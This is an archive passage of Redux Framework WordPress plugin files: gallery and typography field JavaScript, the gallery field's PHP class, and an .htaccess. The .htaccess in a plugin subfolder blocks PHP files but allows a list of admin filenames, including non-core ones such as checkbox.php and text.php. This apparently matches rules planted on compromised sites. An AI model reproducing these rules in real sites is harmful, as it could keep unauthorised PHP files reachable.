strict";redux.field_objects=redux.field_objects||{},redux.field_objects.gallery=redux.field_objects.gallery||{},redux.field_objects.gallery.init=function(e){e||(e=s(document).find(".redux-container-gallery:visible")),s(e).each(function(){var e=s(this),i=e;e.hasClass("redux-field-container")||(i=e.parents(".redux-field-container:first")),i.is(":hidden")||i.hasClass("redux-field-init")&&(i.removeClass("redux-field-init"),e.on({click:function(e){wp.media.view.Settings.Gallery=wp.media.view.Settings.Gallery.extend({template:function(e){}});var n=s(this).closest("fieldset");if("clear-gallery"!==e.currentTarget.id){if("undefined"!=typeof wp&&wp.media&&wp.media.gallery){e.preventDefault();s(this);var i,l=n.find(".gallery_values").val();i=l?'[gallery ids="'+l+'"]':'[gallery ids="0"]';var t=wp.media.gallery.edit(i);if(!l){var a=s("body").find("#"+t.el.id),d=a.find(".uploader-inline"),r=a.find(".media-toolbar .spinner");setTimeout(function(){d.hasClass("hidden")&&(d.removeClass("hidden"),r.removeClass("is-active"))},400)}return t.state("gallery-edit").on("update",function(e){n.find(".screenshot").html("");var i,l,a="",d=e.models.map(function(e){return i=e.toJSON(),l=void 0!==i.sizes&&void 0!==i.sizes.thumbnail?i.sizes.thumbnail.url:i.url,a="<a class='of-uploaded-image' href='"+l+"'><img class='redux-option-image' src='"+l+"' alt='' /></a>",n.find(".screenshot").append(a),e.id});n.find(".gallery_values").val(d.join(",")),redux_change(n.find(".gallery_values")),t.detach()}),!1}}else{n.find(".gallery_values").val("");n.find(".screenshot").html("")}}},".gallery-attachments"))})}}(jQuery);���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/gallery/field_gallery.js�������������������������������������������������0000644�����������������00000014076�14720701300�0016506 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* global redux_change, wp */ /*global redux_change, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.gallery = redux.field_objects.gallery || {}; redux.field_objects.gallery.init = function( selector ) { if ( !selector ) { selector = $( document ).find( '.redux-container-gallery:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } // When the user clicks on the Add/Edit gallery button, we need to display the gallery editing el.on( { click: function( event ) { //console.log(event); // hide gallery settings used for posts/pages wp.media.view.Settings.Gallery = wp.media.view.Settings.Gallery.extend({ // render: function(){ // console.log(wp.media.view); // this.update.apply( this, ['size'] ); // return this; // }, template: function(view){ //console.log(view); return;// wp.media.template('gallery-settings')(view); } }); var current_gallery = $( this ).closest( 'fieldset' ); if ( event.currentTarget.id === 'clear-gallery' ) { //remove value from input var rmVal = current_gallery.find( '.gallery_values' ).val( '' ); //remove preview images current_gallery.find( ".screenshot" ).html( "" ); return; } // Make sure the media gallery API exists if ( typeof wp === 'undefined' || !wp.media || !wp.media.gallery ) { return; } event.preventDefault(); // Activate the media editor var $$ = $( this ); var val = current_gallery.find( '.gallery_values' ).val(); var final; if ( !val ) { final = '[gallery ids="0"]'; } else { final = '[gallery ids="' + val + '"]'; } var frame = wp.media.gallery.edit( final ); if (!val) { var uploader = $('body').find('#' + frame.el.id); var inline = uploader.find('.uploader-inline'); var spinner = uploader.find('.media-toolbar .spinner'); setTimeout( function(){ if (inline.hasClass('hidden')) { inline.removeClass('hidden'); spinner.removeClass('is-active'); } }, 400 ); } // When the gallery-edit state is updated, copy the attachment ids across frame.state( 'gallery-edit' ).on( 'update', function( selection ) { //clear screenshot div so we can append new selected images current_gallery.find( ".screenshot" ).html( "" ); var element, preview_html = "", preview_img; var ids = selection.models.map( function( e ) { element = e.toJSON(); //preview_img = typeof element.sizes.thumbnail !== 'undefined' ? element.sizes.thumbnail.url : element.url; preview_img = (typeof element.sizes !== "undefined" && typeof element.sizes.thumbnail !== 'undefined') ? element.sizes.thumbnail.url : element.url; preview_html = "<a class='of-uploaded-image' href='" + preview_img + "'><img class='redux-option-image' src='" + preview_img + "' alt='' /></a>"; current_gallery.find( ".screenshot" ).append( preview_html ); return e.id; } ); current_gallery.find( '.gallery_values' ).val( ids.join( ',' ) ); redux_change( current_gallery.find( '.gallery_values' ) ); frame.detach(); } ); return false; } }, '.gallery-attachments' ); } ); }; })( jQuery );������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/gallery/field_gallery.php������������������������������������������������0000644�����������������00000007462�14720701300�0016662 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Redux Framework is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 2 of the License, or * any later version. * Redux Framework is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * You should have received a copy of the GNU General Public License * along with Redux Framework. If not, see <http://www.gnu.org/licenses/>. * * @package ReduxFramework * @subpackage Field_Gallery * @author Abdullah Almesbahi (cadr-sa) * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_gallery' ) ) { /** * Main ReduxFramework_gallery class * * @since 3.0.0 */ class ReduxFramework_gallery { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field, $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { echo '<div class="screenshot">'; if ( ! empty( $this->value ) ) { $ids = explode( ',', $this->value ); foreach ( $ids as $attachment_id ) { $img = wp_get_attachment_image_src( $attachment_id, 'thumbnail' ); echo '<a class="of-uploaded-image" href="' . $img[0] . '">'; echo '<img class="redux-option-image" id="image_' . $this->field['id'] . '_' . $attachment_id . '" src="' . $img[0] . '" alt="" target="_blank" rel="external" />'; echo '</a>'; } } echo '</div>'; echo '<a href="#" onclick="return false;" id="edit-gallery" class="gallery-attachments button button-primary">' . __( 'Add/Edit Gallery', 'redux-framework' ) . '</a> '; echo '<a href="#" onclick="return false;" id="clear-gallery" class="gallery-attachments button">' . __( 'Clear Gallery', 'redux-framework' ) . '</a>'; echo '<input type="hidden" class="gallery_values ' . $this->field['class'] . '" value="' . esc_attr( $this->value ) . '" name="' . $this->field['name'] . $this->field['name_suffix'] . '" />'; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { if ( function_exists( 'wp_enqueue_media' ) ) { wp_enqueue_media(); } else { wp_enqueue_script( 'media-upload' ); wp_enqueue_script( 'thickbox' ); wp_enqueue_style( 'thickbox' ); } wp_enqueue_script( 'redux-field-gallery-js', ReduxFramework::$_url . 'inc/fields/gallery/field_gallery' . Redux_Functions::isMin() . '.js', array( 'jquery', 'redux-js' ), time(), true ); } } }��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/gallery/.htaccess��������������������������������������������������������0000644�����������������00000001626�14720701300�0015141 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/fields/typography/field_typography.min.js���������������������������������������0000644�����������������00000024246�14720701300�0020606 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(j){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.typography=redux.field_objects.typography||{};var C=[],z=!1,k={width:"resolve",triggerChange:!0,allowClear:!0};redux.field_objects.typography.init=function(e,t){e||(e=j(document).find(".redux-group-tab:visible").find(".redux-container-typography:visible")),j(e).each(function(){var r,e=j(this),t=e;(e.hasClass("redux-field-container")||(t=e.parents(".redux-field-container:first")),t.is(":hidden"))||t.hasClass("redux-field-init")&&(t.removeClass("redux-field-init"),e.each(function(){j(this).find(".redux-typography-container").each(function(){var e=j(this).find(".redux-typography-family");void 0===e.data("value")?e=j(this):""!==e.data("value")&&j(e).val(e.data("value"));var t=j(this).find(".select2_params");if(0<t.size()){var a=t.val();a=JSON.parse(a),k=j.extend({},k,a)}r=Boolean(j(this).find(".redux-font-clear").val()),redux.field_objects.typography.select(e,!0),window.onbeforeunload=null}),j(this).find(".redux-typography").on("change",function(){redux.field_objects.typography.select(j(this))}),j(this).find(".redux-typography-size, .redux-typography-height, .redux-typography-word, .redux-typography-letter, .redux-typography-align, .redux-typography-transform, .redux-typography-font-variant, .redux-typography-decoration").keyup(function(){redux.field_objects.typography.select(j(this).parents(".redux-container-typography:first"))}),j(this).find(".redux-typography-color").wpColorPicker({change:function(e,t){j(this).val(t.color.toString()),redux.field_objects.typography.select(j(this))}}),j(this).find(".redux-typography-size").numeric({allowMinus:!1}),j(this).find(".redux-typography-height, .redux-typography-word, .redux-typography-letter").numeric({allowMinus:!0});var d=[{id:"none",text:"none"}];j(this).find(".redux-typography-family").select2({matcher:function(e,t){return 0===t.toUpperCase().indexOf(e.toUpperCase())},query:function(e){return window.Select2.query.local(d)(e)},initSelection:function(e,t){t({id:e.val(),text:e.val()})},allowClear:r}).on("select2-opening",function(e){var t=j(this).parents(".redux-container-typography:first").attr("data-id"),a=j("#"+t+" .redux-typography-font-family").data("user-fonts");a=a?1:0;var r=j("#"+t+" .redux-typography-google").val();r=r?1:0;var o=[];if(void 0!==redux.customfonts&&o.push(redux.customfonts),void 0!==redux.stdfonts&&0===a&&o.push(redux.stdfonts),1==a){var p=[];for(var s in redux.typography[t]){var y=redux.typography[t].std_font;for(var i in y)y.hasOwnProperty(i)&&p.push({id:i,text:i,"data-google":"false"})}var l={text:"Standard Fonts",children:p};o.push(l)}(1==r||!0===r&&void 0!==redux.googlefonts)&&o.push(redux.googlefonts),d=o;var n=j("#"+t+" #"+t+"-family").attr("placeholder");n||(n=null),j("#"+t+" .redux-typography-family").select2("val",n)}).on("select2-selecting",function(e,t){var a=e.object.text,r=j(this).parents(".redux-container-typography:first").attr("data-id");j("#"+r+" #"+r+"-family").data("value",a),j("#"+r+" #"+r+"-family").attr("placeholder",a),C=e,z=!0,redux.field_objects.typography.select(j(this).parents(".redux-container-typography:first"))}).on("select2-clearing",function(e,t){var a=j(this).parents(".redux-container-typography:first").attr("data-id");j("#"+a+" #"+a+"-family").attr("data-value",""),j("#"+a+" #"+a+"-family").attr("placeholder","Font Family"),j("#"+a+" #"+a+"-google-font").val("false"),redux.field_objects.typography.select(j(this).parents(".redux-container-typography:first"))}),e.find(".redux-typography-family").hasClass("redux-typography-family")||e.find(".redux-typography-style").select2(k),e.find(".redux-typography-family-backup, .redux-typography-align, .redux-typography-transform, .redux-typography-font-variant, .redux-typography-decoration").select2(k)}))})},redux.field_objects.typography.size=function(e){var t,a=0;for(t in e)e.hasOwnProperty(t)&&a++;return a},redux.field_objects.typography.makeBool=function(e){return"false"!=e&&"0"!=e&&!1!==e&&0!==e&&("true"==e||"1"==e||!0===e||1==e||void 0)},redux.field_objects.typography.contrastColour=function(e){var t="#444444";""!==e&&(e=e.replace("#",""),t=128<=(299*parseInt(e.substr(0,2),16)+587*parseInt(e.substr(2,2),16)+114*parseInt(e.substr(4,2),16))/1e3?"#444444":"#ffffff");return t},redux.field_objects.typography.select=function(e,t){var a;void 0===(a=j(e).parents(".redux-container-typography:first").attr("data-id"))&&(a=j(e).attr("data-id"));j(e).parents(".redux-container-typography:first");var r=j("#"+a+" #"+a+"-family").val();r||(r=null);var o,p=j("#"+a+" select.redux-typography-family-backup").val(),s=j("#"+a+" .redux-typography-size").val(),y=j("#"+a+" .redux-typography-height").val(),i=j("#"+a+" .redux-typography-word").val(),l=j("#"+a+" .redux-typography-letter").val(),n=j("#"+a+" select.redux-typography-align").val(),d=j("#"+a+" select.redux-typography-transform").val(),h=j("#"+a+" select.redux-typography-font-variant").val(),u=j("#"+a+" select.redux-typography-decoration").val(),g=j("#"+a+" select.redux-typography-style").val(),c=j("#"+a+" select.redux-typography-subsets").val(),f=j("#"+a+" .redux-typography-color").val(),x=j("#"+a).data("units");!0===z?(o=redux.field_objects.typography.makeBool(C.object["data-google"]),j("#"+a+" .redux-typography-google-font").val(o)):o=redux.field_objects.typography.makeBool(j("#"+a+" .redux-typography-google-font").val()),j("#"+a).hasClass("typography-initialized")||(g=j("#"+a+" select.redux-typography-style").data("value"),c=j("#"+a+" select.redux-typography-subsets").data("value"),""!==g&&(g=String(g)),void 0!==typeof c&&(c=String(c))),void 0===redux.fonts.google&&(o=!1);var v="";if(v=!0===o&&r in redux.fonts.google?redux.fonts.google[r]:{400:"Normal 400",700:"Bold 700","400italic":"Normal 400 Italic","700italic":"Bold 700 Italic"},j(e).hasClass("redux-typography-subsets")&&j("#"+a+" input.typography-subsets").val(c),j(e).hasClass("redux-typography-family")){var b='<option value=""></option>';if(!0===o){var m="";j.each(v.variants,function(e,t){t.id===g||1===redux.field_objects.typography.size(v.variants)?(m=' selected="selected"',g=t.id):m="",b+='<option value="'+t.id+'"'+m+">"+t.name.replace(/\+/g," ")+"</option>"}),j("#"+a+" .redux-typography-style").select2("destroy"),j("#"+a+" .redux-typography-style").html(b),j("#"+a+" .redux-typography-style").select2(k),m="",b='<option value=""></option>',j.each(v.subsets,function(e,t){t.id===c||1===redux.field_objects.typography.size(v.subsets)?(m=' selected="selected"',c=t.id,j("#"+a+" input.typography-subsets").val(c)):m="",b+='<option value="'+t.id+'"'+m+">"+t.name.replace(/\+/g," ")+"</option>"}),j("#"+a+" .redux-typography-subsets").select2("destroy"),j("#"+a+" .redux-typography-subsets").html(b),j("#"+a+" .redux-typography-subsets").select2(k),j("#"+a+" .redux-typography-subsets").parent().fadeIn("fast"),j("#"+a+" .typography-family-backup").fadeIn("fast")}else v&&(j.each(v,function(e,t){e===g||"normal"===e?(m=' selected="selected"',j("#"+a+" .typography-style .select2-chosen").text(t)):m="",b+='<option value="'+e+'"'+m+">"+t.replace("+"," ")+"</option>"}),j("#"+a+" .redux-typography-style").select2("destroy"),j("#"+a+" .redux-typography-style").html(b),j("#"+a+" .redux-typography-style").select2(k),j("#"+a+" .redux-typography-subsets").parent().fadeOut("fast"),j("#"+a+" .typography-family-backup").fadeOut("fast"));j("#"+a+" .redux-typography-font-family").val(r)}else j(e).hasClass("redux-typography-family-backup")&&""!==p&&j("#"+a+" .redux-typography-font-family-backup").val(p);if(0===j("#"+a+" select.redux-typography-style option[value='"+g+"']").length?(g="",j("#"+a+" select.redux-typography-style").select2("val","")):"400"===g&&j("#"+a+" select.redux-typography-style").select2("val",g),0===j("#"+a+" select.redux-typography-subsets option[value='"+c+"']").length&&(c="",j("#"+a+" select.redux-typography-subsets").select2("val",""),j("#"+a+" input.typography-subsets").val(c)),j("."+("style_link_"+a)).remove(),null!==r&&"inherit"!==r&&j("#"+a).hasClass("typography-initialized")){var w=r.replace(/\s+/g,"+");if(!0===o){var _=w;g&&""!==g&&(_+=":"+g.replace(/\-/g," ")),c&&""!==c&&(_+="&subset="+c),!1===z&&"undefined"!=typeof WebFont&&WebFont&&WebFont.load({google:{families:[_]}}),j("#"+a+" .redux-typography-google").val(!0)}else j("#"+a+" .redux-typography-google").val(!1)}(-1!==g.indexOf("italic")?(j("#"+a+" .typography-preview").css("font-style","italic"),j("#"+a+" .typography-font-style").val("italic"),g=g.replace("italic","")):(j("#"+a+" .typography-preview").css("font-style","normal"),j("#"+a+" .typography-font-style").val("")),j("#"+a+" .typography-font-weight").val(g),y||(y=s),""===s||void 0===s?j("#"+a+" .typography-font-size").val(""):j("#"+a+" .typography-font-size").val(s+x),""===y||void 0===y?j("#"+a+" .typography-line-height").val(""):j("#"+a+" .typography-line-height").val(y+x),""===i||void 0===i?j("#"+a+" .typography-word-spacing").val(""):j("#"+a+" .typography-word-spacing").val(i+x),""===l||void 0===l?j("#"+a+" .typography-letter-spacing").val(""):j("#"+a+" .typography-letter-spacing").val(l+x),j("#"+a).hasClass("typography-initialized"))&&("0"==j("#"+a+" .typography-preview").data("preview-size")&&j("#"+a+" .typography-preview").css("font-size",s+x),j("#"+a+" .typography-preview").css("font-weight",g),j("#"+a+" .typography-preview").css("font-family",r+", sans-serif"),"none"===r&&""===r&&j("#"+a+" .typography-preview").css("font-family","inherit"),j("#"+a+" .typography-preview").css("line-height",y+x),j("#"+a+" .typography-preview").css("word-spacing",i+x),j("#"+a+" .typography-preview").css("letter-spacing",l+x),f&&(j("#"+a+" .typography-preview").css("color",f),j("#"+a+" .typography-preview").css("background-color",redux.field_objects.typography.contrastColour(f))),j("#"+a+" .typography-style .select2-chosen").text(j("#"+a+" .redux-typography-style option:selected").text()),j("#"+a+" .typography-script .select2-chosen").text(j("#"+a+" .redux-typography-subsets option:selected").text()),n&&j("#"+a+" .typography-preview").css("text-align",n),d&&j("#"+a+" .typography-preview").css("text-transform",d),h&&j("#"+a+" .typography-preview").css("font-variant",h),u&&j("#"+a+" .typography-preview").css("text-decoration",u),j("#"+a+" .typography-preview").slideDown());j("#"+a).hasClass("typography-initialized")||j("#"+a).addClass("typography-initialized"),z=!1,t||redux_change(e)}}(jQuery);����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/fields/typography/field_typography.js�������������������������������������������0000644�����������������00000067756�14720701300�0020041 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*global redux_change, redux*/ /** * Typography * Dependencies: google.com, jquery, select2 * Feature added by: Dovy Paukstys - http://simplerain.com/ * Date: 06.14.2013 * * Rewrite: Kevin Provance (kprovance) * Date: May 25, 2014 */ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.typography = redux.field_objects.typography || {}; var selVals = []; var isSelecting = false; var default_params = { width: 'resolve', triggerChange: true, allowClear: true }; redux.field_objects.typography.init = function( selector, skipCheck ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-typography:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } var fontClear; el.each( function() { // init each typography field $( this ).find( '.redux-typography-container' ).each( function() { var family = $( this ).find( '.redux-typography-family' ); if ( family.data( 'value' ) === undefined ) { family = $( this ); } else if ( family.data( 'value' ) !== "" ) { $( family ).val( family.data( 'value' ) ); } var select2_handle = $( this ).find( '.select2_params' ); if ( select2_handle.size() > 0 ) { var select2_params = select2_handle.val(); select2_params = JSON.parse( select2_params ); default_params = $.extend( {}, default_params, select2_params ); } fontClear = Boolean( $( this ).find( '.redux-font-clear' ).val() ); redux.field_objects.typography.select( family, true ); window.onbeforeunload = null; } ); //init when value is changed $( this ).find( '.redux-typography' ).on( 'change', function() { redux.field_objects.typography.select( $( this ) ); //.parents('.redux-container-typography:first')); } ); //init when value is changed $( this ).find( '.redux-typography-size, .redux-typography-height, .redux-typography-word, .redux-typography-letter, .redux-typography-align, .redux-typography-transform, .redux-typography-font-variant, .redux-typography-decoration' ).keyup( function() { redux.field_objects.typography.select( $( this ).parents( '.redux-container-typography:first' ) ); } ); // Have to redeclare the wpColorPicker to get a callback function $( this ).find( '.redux-typography-color' ).wpColorPicker( { change: function( e, ui ) { $( this ).val( ui.color.toString() ); redux.field_objects.typography.select( $( this ) ); } } ); // Don't allow negative numbers for size field $( this ).find( ".redux-typography-size" ).numeric( { allowMinus: false } ); // Allow negative numbers for indicated fields $( this ).find( ".redux-typography-height, .redux-typography-word, .redux-typography-letter" ).numeric( { allowMinus: true } ); // select2 magic, to load font-family dynamically var data = [{id: 'none', text: 'none'}]; $( this ).find( ".redux-typography-family" ).select2( { matcher: function( term, text ) { return text.toUpperCase().indexOf( term.toUpperCase() ) === 0; }, query: function( query ) { return window.Select2.query.local( data )( query ); }, initSelection: function( element, callback ) { var data = {id: element.val(), text: element.val()}; callback( data ); }, allowClear: fontClear, // when one clicks on the font-family select box } ).on( "select2-opening", function( e ) { // Get field ID var thisID = $( this ).parents( '.redux-container-typography:first' ).attr( 'data-id' ); // User included fonts? var isUserFonts = $( '#' + thisID + ' .redux-typography-font-family' ).data( 'user-fonts' ); isUserFonts = isUserFonts ? 1 : 0; // Google font isn use? var usingGoogleFonts = $( '#' + thisID + ' .redux-typography-google' ).val(); usingGoogleFonts = usingGoogleFonts ? 1 : 0; // Set up data array var buildData = []; // If custom fonts, push onto array if ( redux.customfonts !== undefined ) { buildData.push( redux.customfonts ); } // If standard fonts, push onto array if ( redux.stdfonts !== undefined && isUserFonts === 0 ) { buildData.push( redux.stdfonts ); } // If user fonts, pull from localize and push into array if ( isUserFonts == 1 ) { var fontKids = []; // <option> for ( var key in redux.typography[thisID] ) { var obj = redux.typography[thisID].std_font; for ( var prop in obj ) { if ( obj.hasOwnProperty( prop ) ) { fontKids.push( { id: prop, text: prop, 'data-google': 'false' } ); } } } // <optgroup> var fontData = { text: 'Standard Fonts', children: fontKids }; buildData.push( fontData ); } // If googfonts on and had data, push into array if ( usingGoogleFonts == 1 || usingGoogleFonts === true && redux.googlefonts !== undefined ) { buildData.push( redux.googlefonts ); } // output data to drop down data = buildData; // get placeholder var selFamily = $( '#' + thisID + ' #' + thisID + '-family' ).attr( 'placeholder' ); if ( !selFamily ) { selFamily = null; } // select current font $( '#' + thisID + " .redux-typography-family" ).select2( 'val', selFamily ); // When selection is made. } ).on( 'select2-selecting', function( val, object ) { var fontName = val.object.text; var thisID = $( this ).parents( '.redux-container-typography:first' ).attr( 'data-id' ); $( '#' + thisID + ' #' + thisID + '-family' ).data( 'value', fontName ); $( '#' + thisID + ' #' + thisID + '-family' ).attr( 'placeholder', fontName ); // option values selVals = val; isSelecting = true; redux.field_objects.typography.select( $( this ).parents( '.redux-container-typography:first' ) ); } ).on( 'select2-clearing', function( val, choice ) { var thisID = $( this ).parents( '.redux-container-typography:first' ).attr( 'data-id' ); $( '#' + thisID + ' #' + thisID + '-family' ).attr( 'data-value', '' ); $( '#' + thisID + ' #' + thisID + '-family' ).attr( 'placeholder', 'Font Family' ); $( '#' + thisID + ' #' + thisID + '-google-font' ).val( 'false' ); redux.field_objects.typography.select( $( this ).parents( '.redux-container-typography:first' ) ); } ); var xx = el.find( ".redux-typography-family" ); if ( !xx.hasClass( 'redux-typography-family' ) ) { el.find( ".redux-typography-style" ).select2( default_params ); } // Init select2 for indicated fields el.find( ".redux-typography-family-backup, .redux-typography-align, .redux-typography-transform, .redux-typography-font-variant, .redux-typography-decoration" ).select2( default_params ); } ); } ); }; // Return font size redux.field_objects.typography.size = function( obj ) { var size = 0, key; for ( key in obj ) { if ( obj.hasOwnProperty( key ) ) { size++; } } return size; }; // Return proper bool value redux.field_objects.typography.makeBool = function( val ) { if ( val == 'false' || val == '0' || val === false || val === 0 ) { return false; } else if ( val == 'true' || val == '1' || val === true || val == 1 ) { return true; } }; redux.field_objects.typography.contrastColour = function( hexcolour ) { // default value is black. var retVal = '#444444'; // In case - for some reason - a blank value is passed. // This should *not* happen. If a function passing a value // is canceled, it should pass the current value instead of // a blank. This is how the Windows Common Controls do it. :P if ( hexcolour !== '' ) { // Replace the hash with a blank. hexcolour = hexcolour.replace( '#', '' ); var r = parseInt( hexcolour.substr( 0, 2 ), 16 ); var g = parseInt( hexcolour.substr( 2, 2 ), 16 ); var b = parseInt( hexcolour.substr( 4, 2 ), 16 ); var res = ((r * 299) + (g * 587) + (b * 114)) / 1000; // Instead of pure black, I opted to use WP 3.8 black, so it looks uniform. :) - kp retVal = (res >= 128) ? '#444444' : '#ffffff'; } return retVal; }; // Sync up font options redux.field_objects.typography.select = function( selector, skipCheck ) { var mainID; // Main id for selected field mainID = $( selector ).parents( '.redux-container-typography:first' ).attr( 'data-id' ); if ( mainID === undefined ) { mainID = $( selector ).attr( 'data-id' ); } var parent = $( selector ).parents( '.redux-container-typography:first' ); var data = []; //$.each(parent.find('.redux-typography-field'), function() { // console.log(); //}); //console.log( selector ); // Set all the variables to be checked against var family = $( '#' + mainID + ' #' + mainID + '-family' ).val(); if ( !family ) { family = null; //"inherit"; } var familyBackup = $( '#' + mainID + ' select.redux-typography-family-backup' ).val(); var size = $( '#' + mainID + ' .redux-typography-size' ).val(); var height = $( '#' + mainID + ' .redux-typography-height' ).val(); var word = $( '#' + mainID + ' .redux-typography-word' ).val(); var letter = $( '#' + mainID + ' .redux-typography-letter' ).val(); var align = $( '#' + mainID + ' select.redux-typography-align' ).val(); var transform = $( '#' + mainID + ' select.redux-typography-transform' ).val(); var fontVariant = $( '#' + mainID + ' select.redux-typography-font-variant' ).val(); var decoration = $( '#' + mainID + ' select.redux-typography-decoration' ).val(); var style = $( '#' + mainID + ' select.redux-typography-style' ).val(); var script = $( '#' + mainID + ' select.redux-typography-subsets' ).val(); var color = $( '#' + mainID + ' .redux-typography-color' ).val(); var units = $( '#' + mainID ).data( 'units' ); //console.log('here3'); //console.log(color); //var output = family; // Is selected font a google font? var google; if ( isSelecting === true ) { google = redux.field_objects.typography.makeBool( selVals.object['data-google'] ); $( '#' + mainID + ' .redux-typography-google-font' ).val( google ); } else { google = redux.field_objects.typography.makeBool( $( '#' + mainID + ' .redux-typography-google-font' ).val() ); // Check if font is a google font } // Page load. Speeds things up memory wise to offload to client if ( !$( '#' + mainID ).hasClass( 'typography-initialized' ) ) { style = $( '#' + mainID + ' select.redux-typography-style' ).data( 'value' ); script = $( '#' + mainID + ' select.redux-typography-subsets' ).data( 'value' ); if ( style !== "" ) { style = String( style ); } if ( typeof (script) !== undefined ) { script = String( script ); } } // Something went wrong trying to read google fonts, so turn google off if ( redux.fonts.google === undefined ) { google = false; } // Get font details var details = ''; if ( google === true && ( family in redux.fonts.google) ) { details = redux.fonts.google[family]; } else { details = { '400': 'Normal 400', '700': 'Bold 700', '400italic': 'Normal 400 Italic', '700italic': 'Bold 700 Italic' }; } if ( $( selector ).hasClass( 'redux-typography-subsets' ) ) { $( '#' + mainID + ' input.typography-subsets' ).val( script ); } // If we changed the font if ( $( selector ).hasClass( 'redux-typography-family' ) ) { var html = '<option value=""></option>'; // Google specific stuff if ( google === true ) { // STYLES var selected = ""; $.each( details.variants, function( index, variant ) { if ( variant.id === style || redux.field_objects.typography.size( details.variants ) === 1 ) { selected = ' selected="selected"'; style = variant.id; } else { selected = ""; } html += '<option value="' + variant.id + '"' + selected + '>' + variant.name.replace( /\+/g, " " ) + '</option>'; } ); // destroy select2 $( '#' + mainID + ' .redux-typography-style' ).select2( "destroy" ); // Instert new HTML $( '#' + mainID + ' .redux-typography-style' ).html( html ); // Init select2 $( '#' + mainID + ' .redux-typography-style' ).select2( default_params ); // SUBSETS selected = ""; html = '<option value=""></option>'; $.each( details.subsets, function( index, subset ) { if ( subset.id === script || redux.field_objects.typography.size( details.subsets ) === 1 ) { selected = ' selected="selected"'; script = subset.id; $( '#' + mainID + ' input.typography-subsets' ).val( script ); } else { selected = ""; } html += '<option value="' + subset.id + '"' + selected + '>' + subset.name.replace( /\+/g, " " ) + '</option>'; } ); //if (typeof (familyBackup) !== "undefined" && familyBackup !== "") { // output += ', ' + familyBackup; //} // Destroy select2 $( '#' + mainID + ' .redux-typography-subsets' ).select2( "destroy" ); // Inset new HTML $( '#' + mainID + ' .redux-typography-subsets' ).html( html ); // Init select2 $( '#' + mainID + ' .redux-typography-subsets' ).select2( default_params ); $( '#' + mainID + ' .redux-typography-subsets' ).parent().fadeIn( 'fast' ); $( '#' + mainID + ' .typography-family-backup' ).fadeIn( 'fast' ); } else { if ( details ) { $.each( details, function( index, value ) { if ( index === style || index === "normal" ) { selected = ' selected="selected"'; $( '#' + mainID + ' .typography-style .select2-chosen' ).text( value ); } else { selected = ""; } html += '<option value="' + index + '"' + selected + '>' + value.replace( '+', ' ' ) + '</option>'; } ); // Destory select2 $( '#' + mainID + ' .redux-typography-style' ).select2( "destroy" ); // Insert new HTML $( '#' + mainID + ' .redux-typography-style' ).html( html ); // Init select2 $( '#' + mainID + ' .redux-typography-style' ).select2( default_params ); // Prettify things $( '#' + 